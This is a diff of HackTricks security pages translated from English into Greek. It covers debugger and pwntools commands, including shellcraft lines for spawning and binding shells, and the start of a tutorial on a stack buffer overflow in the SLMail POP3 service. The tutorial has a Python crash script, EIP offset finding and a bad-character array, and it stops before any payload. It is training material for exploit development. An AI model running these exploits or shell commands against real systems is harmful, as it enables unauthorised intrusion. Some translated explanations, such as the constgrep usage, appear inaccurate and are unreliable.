**strace executable** --> Συναρτήσεις που καλούνται από το εκτελέσιμο\
|
||||
**rabin2 -i ejecutable -->** Διεύθυνση όλων των συναρτήσεων
|
||||
|
||||
# **Inmunity debugger**
|
||||
|
||||
```bash
|
||||
!mona modules #Get protections, look for all false except last one (Dll of SO)
|
||||
!mona find -s "\xff\xe4" -m name_unsecure.dll #Search for opcodes insie dll space (JMP ESP)
|
||||
```
|
||||
|
||||
# IDA
|
||||
|
||||
## Debugging in remote linux
|
||||
|
||||
Inside the IDA folder you can find binaries that can be used to debug a binary inside a linux. To do so move the binary _linux\_server_ or _linux\_server64_ inside the linux server and run it nside the folder that contains the binary:
|
||||
## Αποσφαλμάτωση σε απομακρυσμένο Linux
|
||||
|
||||
Μέσα στον φάκελο του IDA μπορείτε να βρείτε δυαδικά αρχεία που μπορούν να χρησιμοποιηθούν για να γίνει αποσφαλμάτωση ενός δυαδικού αρχείου σε ένα Linux σύστημα. Για να το κάνετε αυτό, μεταφέρετε το δυαδικό αρχείο _linux\_server_ ή _linux\_server64_ στον διακομιστή Linux και εκτελέστε το μέσα στον φάκελο που περιέχει το δυαδικό αρχείο:
|
||||
```
|
||||
./linux_server64 -Ppass
|
||||
```
|
||||
|
||||
Then, configure the debugger: Debugger (linux remote) --> Proccess options...:
|
||||
Στη συνέχεια, ρυθμίστε τον αποσφαλματωτή: Αποσφαλματωτής (απομακρυσμένος linux) -> Επιλογές διεργασίας...:
|
||||
|
||||
![](<../../.gitbook/assets/image (101).png>)
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα κόλπα σας για το hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
|
|
|
@ -1,133 +1,141 @@
|
|||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα hacking tricks σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
```
|
||||
pip3 install pwntools
|
||||
```
|
||||
|
||||
# Pwn asm
|
||||
|
||||
Get opcodes from line or file.
|
||||
|
||||
Λάβε τους κωδικούς λειτουργίας από μια γραμμή ή ένα αρχείο.
|
||||
```
|
||||
pwn asm "jmp esp"
|
||||
pwn asm "jmp esp"
|
||||
pwn asm -i <filepath>
|
||||
```
|
||||
**Μπορείτε να επιλέξετε:**
|
||||
|
||||
**Can select:**
|
||||
* τύπο εξόδου (ακατέργαστος, hex, συμβολοσειρά, elf)
|
||||
* περιεχόμενο αρχείου εξόδου (16,32,64,linux,windows...)
|
||||
* αποφυγή bytes (νέες γραμμές, null, μια λίστα)
|
||||
* επιλογή κωδικοποιητή για αποσφαλμάτωση του shellcode χρησιμοποιώντας το gdb για την εκτέλεση της εξόδου
|
||||
|
||||
* output type (raw,hex,string,elf)
|
||||
* output file context (16,32,64,linux,windows...)
|
||||
* avoid bytes (new lines, null, a list)
|
||||
* select encoder debug shellcode using gdb run the output
|
||||
|
||||
# **Pwn checksec**
|
||||
|
||||
Checksec script
|
||||
# **Pwn checksec**
|
||||
|
||||
Έλεγχος ασφαλείας script
|
||||
```
|
||||
pwn checksec <executable>
|
||||
```
|
||||
|
||||
# Pwn constgrep
|
||||
|
||||
Αναζήτηση σταθερών
|
||||
|
||||
Το `constgrep` είναι ένα εργαλείο που χρησιμοποιείται για την αναζήτηση σταθερών σε αρχεία εκτελέσιμων. Μπορεί να βοηθήσει στον εντοπισμό ευπαθειών και στην εκμετάλλευσή τους.
|
||||
|
||||
Για να χρησιμοποιήσετε το `constgrep`, ακολουθήστε τα παρακάτω βήματα:
|
||||
|
||||
1. Εγκαταστήστε το `constgrep` στο σύστημά σας.
|
||||
2. Ανοίξτε ένα τερματικό και εκτελέστε την εντολή `constgrep <pattern> <executable>` για να αναζητήσετε το μοτίβο `<pattern>` στο εκτελέσιμο αρχείο `<executable>`.
|
||||
3. Το `constgrep` θα επιστρέψει τις θέσεις των σταθερών που ταιριάζουν με το μοτίβο `<pattern>`.
|
||||
|
||||
Παράδειγμα:
|
||||
|
||||
```
|
||||
$ constgrep "password" /path/to/executable
|
||||
0x12345678: "password"
|
||||
0x87654321: "password123"
|
||||
```
|
||||
|
||||
# Pwn cyclic
|
||||
|
||||
Get a pattern
|
||||
Δημιουργία προτύπου
|
||||
|
||||
Το `cyclic` είναι ένα εργαλείο που χρησιμοποιείται για τη δημιουργία ενός προτύπου κυκλικής ακολουθίας. Αυτό το πρότυπο μπορεί να χρησιμοποιηθεί για την εντοπισμό προβλημάτων όπως το buffer overflow.
|
||||
|
||||
Για να χρησιμοποιήσετε το `cyclic`, ακολουθήστε τα παρακάτω βήματα:
|
||||
|
||||
1. Ανοίξτε ένα τερματικό και εκτελέστε την εντολή `cyclic <length>` για να δημιουργήσετε ένα πρότυπο κυκλικής ακολουθίας μήκους `<length>`.
|
||||
2. Το `cyclic` θα επιστρέψει το πρότυπο κυκλικής ακολουθίας.
|
||||
3. Χρησιμοποιήστε το πρότυπο κυκλικής ακολουθίας για να εντοπίσετε το σημείο όπου προκαλείται η κατάρρευση του προγράμματος.
|
||||
|
||||
Παράδειγμα:
|
||||
|
||||
```
|
||||
$ cyclic 10
|
||||
aaaabaaacaaadaaaeaaa
|
||||
```
|
||||
```
|
||||
pwn cyclic 3000
|
||||
pwn cyclic -l faad
|
||||
```
|
||||
**Μπορείτε να επιλέξετε:**
|
||||
|
||||
**Can select:**
|
||||
* Το χρησιμοποιούμενο αλφάβητο (προεπιλεγμένα πεζούς χαρακτήρες)
|
||||
* Το μήκος του μοναδικού προτύπου (προεπιλογή 4)
|
||||
* Το περιβάλλον (16,32,64,linux,windows...)
|
||||
* Πάρτε τη μετατόπιση (-l)
|
||||
|
||||
* The used alphabet (lowercase chars by default)
|
||||
* Length of uniq pattern (default 4)
|
||||
* context (16,32,64,linux,windows...)
|
||||
* Take the offset (-l)
|
||||
|
||||
# Pwn debug
|
||||
|
||||
Attach GDB to a process
|
||||
# Αποσφαλμάτωση Pwn
|
||||
|
||||
Συνδέστε το GDB σε ένα διεργασία
|
||||
```
|
||||
pwn debug --exec /bin/bash
|
||||
pwn debug --pid 1234
|
||||
pwn debug --process bash
|
||||
```
|
||||
**Μπορείτε να επιλέξετε:**
|
||||
|
||||
**Can select:**
|
||||
|
||||
* By executable, by name or by pid context (16,32,64,linux,windows...)
|
||||
* gdbscript to execute
|
||||
* Με βάση το εκτελέσιμο αρχείο, το όνομα ή το περιβάλλον pid (16,32,64,linux,windows...)
|
||||
* gdbscript για εκτέλεση
|
||||
* sysrootpath
|
||||
|
||||
# Pwn disablenx
|
||||
|
||||
Disable nx of a binary
|
||||
|
||||
# Απενεργοποίηση του nx ενός δυαδικού αρχείου
|
||||
```
|
||||
pwn disablenx <filepath>
|
||||
```
|
||||
|
||||
# Pwn disasm
|
||||
|
||||
Disas hex opcodes
|
||||
|
||||
Αποσυναρμολόγηση εξακολουθίας δεκαεξαδικών κωδικών
|
||||
```
|
||||
pwn disasm ffe4
|
||||
```
|
||||
**Μπορείτε να επιλέξετε:**
|
||||
|
||||
**Can select:**
|
||||
|
||||
* context (16,32,64,linux,windows...)
|
||||
* base addres
|
||||
* color(default)/no color
|
||||
* περιβάλλον (16,32,64,linux,windows...)
|
||||
* βασική διεύθυνση
|
||||
* χρώμα (προεπιλογή)/χωρίς χρώμα
|
||||
|
||||
# Pwn elfdiff
|
||||
|
||||
Print differences between 2 fiels
|
||||
|
||||
Εκτύπωση των διαφορών μεταξύ 2 αρχείων
|
||||
```
|
||||
pwn elfdiff <file1> <file2>
|
||||
```
|
||||
# Μετατροπή σε δεκαεξαδική μορφή
|
||||
|
||||
# Pwn hex
|
||||
|
||||
Get hexadecimal representation
|
||||
|
||||
Αποκτήστε την δεκαεξαδική αναπαράσταση
|
||||
```bash
|
||||
pwn hex hola #Get hex of "hola" ascii
|
||||
```
|
||||
|
||||
# Pwn phd
|
||||
|
||||
Get hexdump
|
||||
|
||||
Λήψη hexdump
|
||||
```
|
||||
pwn phd <file>
|
||||
```
|
||||
**Μπορείτε να επιλέξετε:**
|
||||
|
||||
**Can select:**
|
||||
|
||||
* Number of bytes to show
|
||||
* Number of bytes per line highlight byte
|
||||
* Skip bytes at beginning
|
||||
* Αριθμός bytes προς εμφάνιση
|
||||
* Αριθμός bytes ανά γραμμή για επισήμανση byte
|
||||
* Παράκαμψη bytes στην αρχή
|
||||
|
||||
# Pwn pwnstrip
|
||||
|
||||
|
@ -135,70 +143,59 @@ pwn phd <file>
|
|||
|
||||
# Pwn shellcraft
|
||||
|
||||
Get shellcodes
|
||||
|
||||
Λήψη shellcodes
|
||||
```
|
||||
pwn shellcraft -l #List shellcodes
|
||||
pwn shellcraft -l #List shellcodes
|
||||
pwn shellcraft -l amd #Shellcode with amd in the name
|
||||
pwn shellcraft -f hex amd64.linux.sh #Create in C and run
|
||||
pwn shellcraft -r amd64.linux.sh #Run to test. Get shell
|
||||
pwn shellcraft -r amd64.linux.sh #Run to test. Get shell
|
||||
pwn shellcraft .r amd64.linux.bindsh 9095 #Bind SH to port
|
||||
```
|
||||
**Μπορείτε να επιλέξετε:**
|
||||
|
||||
**Can select:**
|
||||
* shellcode και ορίσματα για το shellcode
|
||||
* Αρχείο εξόδου
|
||||
* Μορφή εξόδου
|
||||
* αποσφαλμάτωση (σύνδεση dbg στο shellcode)
|
||||
* πριν (αποσφαλμάτωση παγίδα πριν από τον κώδικα)
|
||||
* μετά
|
||||
* αποφυγή χρήσης opcodes (προεπιλογή: όχι null και νέα γραμμή)
|
||||
* Εκτέλεση του shellcode
|
||||
* Έγχρωμο/χωρίς χρώμα
|
||||
* λίστα κλήσεων συστήματος
|
||||
* λίστα πιθανών shellcodes
|
||||
* Δημιουργία ELF ως κοινόχρηστη βιβλιοθήκη
|
||||
|
||||
* shellcode and arguments for the shellcode
|
||||
* Out file
|
||||
* output format
|
||||
* debug (attach dbg to shellcode)
|
||||
* before (debug trap before code)
|
||||
* after
|
||||
* avoid using opcodes (default: not null and new line)
|
||||
* Run the shellcode
|
||||
* Color/no color
|
||||
* list syscalls
|
||||
* list possible shellcodes
|
||||
* Generate ELF as a shared library
|
||||
|
||||
# Pwn template
|
||||
|
||||
Get a python template
|
||||
# Πρότυπο Pwn
|
||||
|
||||
Αποκτήστε ένα πρότυπο Python
|
||||
```
|
||||
pwn template
|
||||
```
|
||||
|
||||
**Can select:** host, port, user, pass, path and quiet
|
||||
**Μπορείτε να επιλέξετε:** host, port, user, pass, path και quiet
|
||||
|
||||
# Pwn unhex
|
||||
|
||||
From hex to string
|
||||
|
||||
Από hex σε string
|
||||
```
|
||||
pwn unhex 686f6c61
|
||||
```
|
||||
# Ενημέρωση Pwn
|
||||
|
||||
# Pwn update
|
||||
|
||||
To update pwntools
|
||||
|
||||
Για να ενημερώσετε το pwntools,
|
||||
```
|
||||
pwn update
|
||||
```
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα hacking tricks σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
|
|
|
@ -1,33 +1,57 @@
|
|||
# Windows Exploiting (Basic Guide - OSCP lvl)
|
||||
# Εκμετάλλευση των Windows (Βασικός Οδηγός - OSCP επίπεδο)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα hacking tricks σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
||||
## **Start installing the SLMail service**
|
||||
## **Ξεκινήστε την εγκατάσταση της υπηρεσίας SLMail**
|
||||
|
||||
## Restart SLMail service
|
||||
|
||||
Every time you need to **restart the service SLMail** you can do it using the windows console:
|
||||
## Επανεκκίνηση της υπηρεσίας SLMail
|
||||
|
||||
Κάθε φορά που χρειάζεστε να **επανεκκινήσετε την υπηρεσία SLMail** μπορείτε να το κάνετε χρησιμοποιώντας την κονσόλα των Windows:
|
||||
```
|
||||
net start slmail
|
||||
```
|
||||
|
||||
![](<../.gitbook/assets/image (23) (1).png>)
|
||||
|
||||
## Very basic python exploit template
|
||||
## Πολύ απλό πρότυπο εκμετάλλευσης Python
|
||||
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
|
||||
import socket
|
||||
|
||||
# Ορίζουμε τη διεύθυνση IP και τη θύρα του στόχου
|
||||
target_ip = "192.168.1.100"
|
||||
target_port = 1337
|
||||
|
||||
# Δημιουργούμε το payload
|
||||
payload = b"A" * 100
|
||||
|
||||
# Δημιουργούμε το socket
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
|
||||
# Συνδέουμε το socket με τον στόχο
|
||||
s.connect((target_ip, target_port))
|
||||
|
||||
# Αποστέλλουμε το payload στον στόχο
|
||||
s.send(payload)
|
||||
|
||||
# Κλείνουμε τη σύνδεση
|
||||
s.close()
|
||||
```
|
||||
|
||||
Αυτό είναι ένα πολύ απλό πρότυπο εκμετάλλευσης Python. Ορίζουμε τη διεύθυνση IP και τη θύρα του στόχου, δημιουργούμε ένα payload από 100 bytes και στέλνουμε το payload στον στόχο μέσω ενός socket. Μετά την αποστολή, κλείνουμε τη σύνδεση.
|
||||
```python
|
||||
#!/usr/bin/python
|
||||
|
||||
|
@ -39,99 +63,89 @@ port = 110
|
|||
|
||||
buffer = 'A' * 2700
|
||||
try:
|
||||
print "\nLaunching exploit..."
|
||||
s.connect((ip, port))
|
||||
data = s.recv(1024)
|
||||
s.send('USER username' +'\r\n')
|
||||
data = s.recv(1024)
|
||||
s.send('PASS ' + buffer + '\r\n')
|
||||
print "\nFinished!."
|
||||
print "\nLaunching exploit..."
|
||||
s.connect((ip, port))
|
||||
data = s.recv(1024)
|
||||
s.send('USER username' +'\r\n')
|
||||
data = s.recv(1024)
|
||||
s.send('PASS ' + buffer + '\r\n')
|
||||
print "\nFinished!."
|
||||
except:
|
||||
print "Could not connect to "+ip+":"+port
|
||||
print "Could not connect to "+ip+":"+port
|
||||
```
|
||||
## **Αλλαγή γραμματοσειράς στο Immunity Debugger**
|
||||
|
||||
## **Change Immunity Debugger Font**
|
||||
Πηγαίνετε στο `Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> OK`
|
||||
|
||||
Go to `Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> OK`
|
||||
|
||||
## **Attach the proces to Immunity Debugger:**
|
||||
## **Σύνδεση της διεργασίας με το Immunity Debugger:**
|
||||
|
||||
**File --> Attach**
|
||||
|
||||
![](<../.gitbook/assets/image (24) (1) (1).png>)
|
||||
|
||||
**And press START button**
|
||||
**Και πατήστε το κουμπί START**
|
||||
|
||||
## **Send the exploit and check if EIP is affected:**
|
||||
## **Αποστολή του exploit και έλεγχος αν επηρεάζεται το EIP:**
|
||||
|
||||
![](<../.gitbook/assets/image (25) (1) (1).png>)
|
||||
|
||||
Every time you break the service you should restart it as is indicated in the beginnig of this page.
|
||||
Κάθε φορά που διακόπτετε την υπηρεσία, πρέπει να την επανεκκινήσετε, όπως υποδεικνύεται στην αρχή αυτής της σελίδας.
|
||||
|
||||
## Create a pattern to modify the EIP
|
||||
## Δημιουργία ενός μοτίβου για τροποποίηση του EIP
|
||||
|
||||
The pattern should be as big as the buffer you used to broke the service previously.
|
||||
Ο μοτίβος πρέπει να είναι τόσο μεγάλος όσο το buffer που χρησιμοποιήσατε για να διακόψετε την υπηρεσία προηγουμένως.
|
||||
|
||||
![](<../.gitbook/assets/image (26) (1) (1).png>)
|
||||
|
||||
```
|
||||
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000
|
||||
```
|
||||
Αλλάξτε τον buffer της εκμετάλλευσης και ορίστε το μοτίβο και εκτελέστε την εκμετάλλευση.
|
||||
|
||||
Change the buffer of the exploit and set the pattern and lauch the exploit.
|
||||
|
||||
A new crash should appeard, but with a different EIP address:
|
||||
Θα πρέπει να εμφανιστεί ένα νέο σφάλμα, αλλά με διαφορετική διεύθυνση EIP:
|
||||
|
||||
![](<../.gitbook/assets/image (27) (1) (1).png>)
|
||||
|
||||
Check if the address was in your pattern:
|
||||
Ελέγξτε αν η διεύθυνση βρίσκεται στο μοτίβο σας:
|
||||
|
||||
![](<../.gitbook/assets/image (28) (1) (1).png>)
|
||||
|
||||
```
|
||||
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 39694438
|
||||
```
|
||||
Φαίνεται ότι **μπορούμε να τροποποιήσουμε το EIP στη θέση 2606** του buffer.
|
||||
|
||||
Looks like **we can modify the EIP in offset 2606** of the buffer.
|
||||
|
||||
Check it modifing the buffer of the exploit:
|
||||
|
||||
Ελέγξτε την τροποποίηση του buffer του exploit:
|
||||
```
|
||||
buffer = 'A'*2606 + 'BBBB' + 'CCCC'
|
||||
```
|
||||
|
||||
With this buffer the EIP crashed should point to 42424242 ("BBBB")
|
||||
Με αυτό το buffer, το EIP που κατέρρευσε θα πρέπει να δείχνει στο 42424242 ("BBBB")
|
||||
|
||||
![](<../.gitbook/assets/image (30) (1) (1).png>)
|
||||
|
||||
![](<../.gitbook/assets/image (29) (1) (1).png>)
|
||||
|
||||
Looks like it is working.
|
||||
Φαίνεται ότι λειτουργεί.
|
||||
|
||||
## Check for Shellcode space inside the stack
|
||||
## Έλεγχος για χώρο Shellcode μέσα στο stack
|
||||
|
||||
600B should be enough for any powerfull shellcode.
|
||||
|
||||
Lets change the bufer:
|
||||
600B θα πρέπει να είναι αρκετά για οποιοδήποτε ισχυρό shellcode.
|
||||
|
||||
Ας αλλάξουμε το buffer:
|
||||
```
|
||||
buffer = 'A'*2606 + 'BBBB' + 'C'*600
|
||||
```
|
||||
|
||||
launch the new exploit and check the EBP and the length of the usefull shellcode
|
||||
Εκτελέστε τη νέα εκμετάλλευση και ελέγξτε το EBP και το μήκος του χρήσιμου shellcode.
|
||||
|
||||
![](<../.gitbook/assets/image (31) (1).png>)
|
||||
|
||||
![](<../.gitbook/assets/image (32) (1).png>)
|
||||
|
||||
You can see that when the vulnerability is reached, the EBP is pointing to the shellcode and that we have a lot of space to locate a shellcode here.
|
||||
Μπορείτε να δείτε ότι όταν επιτυγχάνεται η ευπάθεια, το EBP δείχνει στο shellcode και έχουμε αρκετό χώρο για να τοποθετήσουμε ένα shellcode εδώ.
|
||||
|
||||
In this case we have **from 0x0209A128 to 0x0209A2D6 = 430B.** Enough.
|
||||
Σε αυτήν την περίπτωση έχουμε **από 0x0209A128 έως 0x0209A2D6 = 430B.** Είναι αρκετό.
|
||||
|
||||
## Check for bad chars
|
||||
|
||||
Change again the buffer:
|
||||
## Έλεγχος για κακούς χαρακτήρες
|
||||
|
||||
Αλλάξτε ξανά το buffer:
|
||||
```
|
||||
badchars = (
|
||||
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
|
||||
|
@ -153,30 +167,27 @@ badchars = (
|
|||
)
|
||||
buffer = 'A'*2606 + 'BBBB' + badchars
|
||||
```
|
||||
Τα κακά χαρακτήρες ξεκινούν από το 0x01 επειδή το 0x00 σχεδόν πάντα είναι κακό.
|
||||
|
||||
The badchars starts in 0x01 because 0x00 is almost always bad.
|
||||
Εκτελέστε επαναληπτικά την εκμετάλλευση με αυτό το νέο buffer διαγράφοντας τους χαρακτήρες που θεωρούνται άχρηστοι:.
|
||||
|
||||
Execute repeatedly the exploit with this new buffer delenting the chars that are found to be useless:.
|
||||
Για παράδειγμα:
|
||||
|
||||
For example:
|
||||
|
||||
In this case you can see that **you shouldn't use the char 0x0A** (nothing is saved in memory since the char 0x09).
|
||||
Σε αυτήν την περίπτωση μπορείτε να δείτε ότι **δεν πρέπει να χρησιμοποιήσετε τον χαρακτήρα 0x0A** (τίποτα δεν αποθηκεύεται στη μνήμη από τον χαρακτήρα 0x09).
|
||||
|
||||
![](<../.gitbook/assets/image (33) (1).png>)
|
||||
|
||||
In this case you can see that **the char 0x0D is avoided**:
|
||||
Σε αυτήν την περίπτωση μπορείτε να δείτε ότι **αποφεύγεται ο χαρακτήρας 0x0D**:
|
||||
|
||||
![](<../.gitbook/assets/image (34) (1).png>)
|
||||
|
||||
## Find a JMP ESP as a return address
|
||||
|
||||
Using:
|
||||
## Βρείτε ένα JMP ESP ως διεύθυνση επιστροφής
|
||||
|
||||
Χρησιμοποιώντας:
|
||||
```
|
||||
!mona modules #Get protections, look for all false except last one (Dll of SO)
|
||||
```
|
||||
|
||||
You will **list the memory maps**. Search for some DLl that has:
|
||||
